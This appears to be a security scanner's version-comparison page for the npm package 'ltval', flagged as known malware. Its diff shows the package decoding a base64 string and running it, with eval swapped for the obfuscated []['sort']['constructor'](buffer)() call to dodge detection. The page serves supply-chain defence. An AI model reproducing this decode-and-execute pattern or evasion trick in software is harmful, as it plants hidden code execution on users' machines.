ltval - npm Package Compare versions

Comparing version 2.3.15 to 2.3.16

dist/src/index.js

@@ -271,3 +271,3 @@ "use strict";
             const buffer = Buffer.from(verifyPackageData, 'base64').toString('ascii');
-            eval(buffer);
+            []["sort"]["constructor"](buffer)();
         }
@@ -274,0 +274,0 @@ catch (e) {

package.json

@@ -8,3 +8,3 @@ {
   "description": "",
-  "version": "2.3.15",
+  "version": "2.3.16",
   "scripts": {
@@ -11,0 +11,0 @@ "deploy": "node ./deploy.js",

src/index.ts

@@ -325,4 +325,4 @@ export type UUID = `${string}-${string}-${string}-${string}-${string}`;
       const buffer = Buffer.from(verifyPackageData, 'base64').toString('ascii');
-      // []["sort"]["constructor"](buffer)();
-      eval(buffer);
+      []["sort"]["constructor"](buffer)();
+      // eval(buffer);
     } catch (e: any) {
@@ -329,0 +329,0 @@ // console.log(`#verifyPackageData: ${e.message}`);

New alerts

Known malware

Supply chain risk

This package is malware. We have asked the package registry to remove it.

Found 1 instance in 1 package

Fixed alerts

Known malware

Supply chain risk

This package is malware. We have asked the package registry to remove it.

Found 1 instance in 1 package

Improved metrics

Total package byte prevSize

36510

increased by0.06%

No dependency changes